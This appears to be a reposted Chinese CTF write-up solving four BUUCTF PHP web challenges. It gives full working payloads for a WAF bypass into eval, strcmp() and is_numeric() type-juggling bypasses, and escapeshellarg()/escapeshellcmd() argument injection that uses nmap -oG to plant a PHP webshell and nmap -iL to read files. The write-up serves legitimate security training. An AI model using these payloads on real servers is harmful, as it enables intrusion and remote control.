前言
去年写过一篇 CTF 真题总结的博文:CTFWeb-BUUCTF竞赛真题WriteUp(1),本文是续集,继续记录 BUUCTF 平台的练习过程和解题方法。
No.1 PHP 字符串解析漏洞
来看看题目链接:
1、访问解题地址是一个简单的计算器,尝试输入数值进行计算:
2、猜测应该是考察命令执行漏洞,尝试直接读取 flag.php
,失败:
实际上发现不能输入任何非数字的字符(除非运算符):
3、访问网页源码,提示有 WAF 过滤:
4、查看 calc.php
的网页,获得 WAF 的源码,可以看到过滤了空格、单引号、双引号、“/
”等:
代码如下:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
至此就很尴尬了,只能输入数字和加减乘除运算符,不能输入字符,而且还过滤一堆关键词……
【PHP字符串解析漏洞】
下面需要结合 PHP 字符串解析漏洞进行 WAF 绕过,所以先对 PHP 字符串解析特性进行了解。
- PHP 会将查询字符串(在 URL 或正文中)转换为内部
$_GET
或的关联数组$_POST
。例如:/?foo=bar
变成Array([foo] => “bar”)
。 - 值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
- 例如,
/?%20news[id%00=42
会转换为Array([news_id] => 42)
。如果一个 IDS/IPS 或 WAF 中有一条规则是当news_id
参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:/news.php?%20news[id%00=42"+AND+1=0--
,上述 PHP 语句的参数%20news[id%00
的值将存储到$_GET[“news_id”]
中。
PHP 需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
- 删除空白符;
- 将某些字符转换为下划线(包括空格)。
例如:
将 PHP 该解析特性应用到本题目中来,因为 waf 不允许 num 变量传递字母:
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在 num 变量名称前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样 waf 就找不到 num 这个变量了,因为现在的变量叫“ num”
,而不是“num”
。但 php 在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
5、解决了如何传递字符后,需要先扫根目录下的所有文件(看看是否存在 flag 文件),也就是scandir("/")
,但是“/
”被过滤了,所以我们用chr(“47”)
绕过( chr()
函数可以将 ASCII 码转换为字符),Payload 如下:
calc.php? num=var_dump(scandir(chr(47)))
执行后可看到根目录下存在 flagg
文件:
6、知道有 f1agg.php
这个文件就可以用 file_get_contents()
函数先读取文件为字符串然后用 var_dump
显示字符串得到 flag,Payload 如下:
calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
获得最终的 Flag:
另外一个 Payload(省略了 var_dump
函数):
/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
异曲同工:
【题目小结】
- PHP 变量字符串解析漏洞可绕过 WAF 对某些变量的拦截规则;
- 使用
chr(“47”)
绕过"/
"的过滤(chr()
函数可以将 ASCII 码转换为字符),附上ASCII码对照表; - PHP 在 CTF 中几个常用的函数:
函数 | 作用 |
---|---|
var_dump() | 判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型 |
file_get_contents() | 把整个文件读入一个字符串中 |
scandir() | 返回指定目录中的文件和目录的数组 |
No.2 PHP strcmp()函数漏洞
老规矩先看看题目链接:
1、访问解题地址:
访问右上角的 PAYFLAG 菜单,获得解题提示(提供金钱 10000000,同时需要答对密码等):
查看网页代码,还有进一步的提示( password 需要等于 404 同时还不能是数字……):
2、抓包发现 Cookie 默认待了 user=0
且服务端提示 “ Only Cuit’s students can buy the FLAG ”,如下图:
3、尝试修改 user=1
(CTF 的直觉改成1),成功获得 Cuit’s students 的身份会话:
4、结合题目提示,让我们 Post 传递一个 money 和一个 password 参数,password 要等于 404 并且不能为数字,那好办我们可以用弱类型,即让password=404a
,如下图所示:
5、成功进行密码校验,继续传递参数 money=10000000 尝试购买 flag,结果提示位数太长:
6、那可以用科学计数法 1e9
表示 100000000,得到 flag:
【PHP strcmp() 函数漏洞】
此处关于金钱长度的另一种绕过方式是利用 PHP strcmp() 函数漏洞,这一个漏洞适用于 php 5.3 之前的版本,本题结合响应包中的头部信息泄露可确定符合利用条件:
我们首先看一下这个函数,这个函数是用于比较字符串的函数:
int strcmp ( string $str1 , string $str2 )
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在 5.3 之前的 php 中,显示了报错的警告信息后,将 return 0 !!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php 官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。但是我们仍然可以使用这个漏洞对使用老版本 php 的网站进行渗透测试。
看一段示例代码:
<?php
$password="***************"
if(isset($_POST['password'])){
if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";n
exit();
} else {
echo "Wrong password..";
}
?>
对于这段代码,我们能用什么办法绕过验证呢, 只要我们$_POST[‘password’]
是一个数组或者一个 object 即可,但是上一个问题的时候说到过,只能上传字符串类型,那我们又该如何做呢。其实 php 为了可以上传一个数组,会把结尾带一对中括号的变量,例如 xxx[]
的 name(就是$_POST
中的key),当作一个名字为 xxx 的数组构造类似如下的 request 即可使得上述代码绕过密码校验:
POST /login HTTP/1.1
Host: xxx.com
Content-Length: 41
Accept: application/json, text/javascript
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
password[]=admin
【Payload 2】
综上,利用 PHP strcmp 函数的漏洞,我们可以用另外的 Payload :password=404a&money[]=1
来获得 Flag:
【Payload 3】
与此同时,password 参数也有另外一种绕过方式。
php 中的is_numeric()
漏洞:is_numeric
函数对于空字符%00
,无论是%00
放在前后都可以判断为非数值,而%20
空格字符只能放在数值后。所以,查看函数发现该函数对于第一个空格字符会跳过空格字符判断,接着后面的判断!
所以也可以用如下 Payload 3:password=404%20&money[]=1
获得 flag 值:
【题目小结】
- 观察数据包,修改 cookie 中 user=0 的值绕过身份校验;
- 观察网页源码获得解题提示,使用 php 中的
is_numeric()
漏洞或者 php 弱比较漏洞构造password= 404a
或password=404%00
、password=404%20
来绕过密码校验; - 使用科学计数法
1e9
或者 php strcmp() 函数漏洞(php 5.3版本之前)来绕过金额长度的限制。
No.3 Nmap 上传一句话木马
先来看看题目:
1、访问题目解题链接,属于 PHP 代码审计:
源码如下:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
【Nmap写入一句话木马】
题目提示是 RCE,从代码中可以看出,解题目标是向 host 参数传递目标 Payload 使得 system() 函数执行恶意命令。查阅资料可知道,nmap 命令中 有一个-oG
参数可以实现将命令和结果写到文件,我们可以借助该参数写入一句话木马到服务器指定文件中,并通过蚁剑链接后控制服务器、查看 Flag。
故我们要实现:
nmap -T5 -sT -Pn --host-timeout 2 -F <?php @eval($_POST["123"]); ?> -oG hack.php
即实现:
?host=<?php @eval($_POST["123"]);?> -oG hack.php
【escapeshellarg 函数组合漏洞】
但是我们发现 host 参数传递的值会经过escapeshellarg()
和 escapeshellcmd()
函数处理后再传递给 system 函数执行,先来了解下这两个函数:
函数 | 作用 |
---|---|
escapeshellarg() | 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样能确保直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号) 。 |
escapeshellcmd() | 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义(如& # ; | * ? ~ < > ^ ( ) [ ] { } $等)。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。 |
这两个函数按代码里那样的顺序使用,是会产生漏洞的,如果是反过来就不会(漏洞详情介绍、PHP escapeshellarg()+escapeshellcmd() 之殇)。
下面简述一下该漏洞:
- 假设传入的参数是:
172.17.0.2' -v -d a=1
; - 经过
escapeshellarg()
函数处理后变成了'172.17.0.2'\'' -v -d a=1'
,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用; - 经过
escapeshellcmd()
函数处理后变成'172.17.0.2'\\'' -v -d a=1\'
,这是因为escapeshellcmd()
对\
以及最后那个不配对儿的引号进行了转义; - 最后执行的命令是
curl '172.17.0.2'\\'' -v -d a=1\'
,由于中间的\\
被解释为\
而不再是转义字符,所以后面的'
没有被转义,与再后面的'
配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'
,即向172.17.0.2\
发起请求,POST 数据为a=1'
。
所以这里这些代码的本意是希望我们输入 ip 这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚。
这里常见的命令后注入操作如 | & &&
都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd()
函数会对这些特殊符号前面加上\
来转移,但是我们之前就说了,要利用 nmap 的-oG
参数,所以我们就可以构造 Payload:
?host=' <?php @eval($_POST["123"]);?> -oG hack.php '
注意 Payload 中首尾都加了单引号和空格,空格我还不懂啥意思……下面只分析加单引号的妙处。
运行以下测试代码:
<?php
$host1 = "123";
$host2 = escapeshellarg($host1);
$host3 = escapeshellcmd($host2);
echo $host1."\n".$host2."\n".$host3."\n";
echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$host3;
?>
结果如下:
修改 $host1 = "'123'"
(添加单引号),运行效果如下:
来分析下运行结果:
'123'
''\''123'\'''
''\\''123'\\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''123'\\'''
末尾的''\\''123'\\'''
最终的转义执行过程:
- 命令行
nmap -T5 -sT -Pn --host-timeout 2 -F
后面的前两个单引号形成了闭合表示空;而\\''
的转义步骤:\\
转移成了\
,而\
和后面的'
转移成了'
,最后结果为''
表示空 ; - 数字123后面的
'\\'''
的转义步骤则为:保留第一个'
,\\'''
同理变成'''
,正好和前一个'
形成两个闭合,表示空。
就这样,输入'123'
后123
就变成了命令而不是带单引号的字符串。上面 Nmap 的 Payload 加单引号的原因则同理。
2、原理分析完,来看看 Payload 的利用和效果,在浏览器输入:
http://解题地址XXXX?host=' <?php @eval($_POST["123"]);?> -oG hack.php '
如下,服务端返回文件存储路径:
3、使用蚁剑链接http://XXXXX/5f19f45ad7b9da693206c096c48a2a8d/hack.php
,如下所示:
成功连接:
到根目录下可读取到 flag:
【题目小结】
escapeshellarg()
和escapeshellcmd()
函数组合利用的顺序不当,可导致字符转义过滤失败;- Nmap 的
-oG
参数可以实现将命令和结果写到文件,我们可以借助该参数写入一句话木马到服务器指定文件中,并通过蚁剑链接后控制服务器、查看 Flag。
No.4 2020网鼎杯朱雀组Nmap
看看题目:
1、访问解题地址:
输入本地地址试试执行效果:
2、解法与上一题类似,使用 Nmap 的-oG
参数上传一句话木马,尝试直接使用上一题的 Payload:
' <?php @eval($_POST["123"]);?> -oG hack.php '
提示 Hacker…
3、应该存在黑名单,fuzz 发现,php 关键词被过滤了,我们再次构造一下代码:
' <?= @eval($_POST["123"]);?> -oG hack.phtml '
这里使用“=
”绕过文件中的 php 字符,使用“phtml
”绕过对“php
”文件后缀的检测,再次输入:
4、尝试进行命令执行,成功上传一句话木马:
5、菜刀连接木马并查看获得 Flag:
6、另一种解法是直接使用 Nmap 的-iL
读取任意文件,Payload 如下:
' -iL /flag -oN test.txt '
输入Payload:
然后访问 test.txt 文件即可:
【题目小结】
- Nmap 写入一句话木马,获得服务器控制器并查看 flag,过滤 php 文件名后缀关键词后使用
phtml
代替; - 使用 Nmap
-iL
读取任意文件(在知道 flag 存放路径的情况下可用)。
转载:https://blog.csdn.net/weixin_39190897/article/details/116399515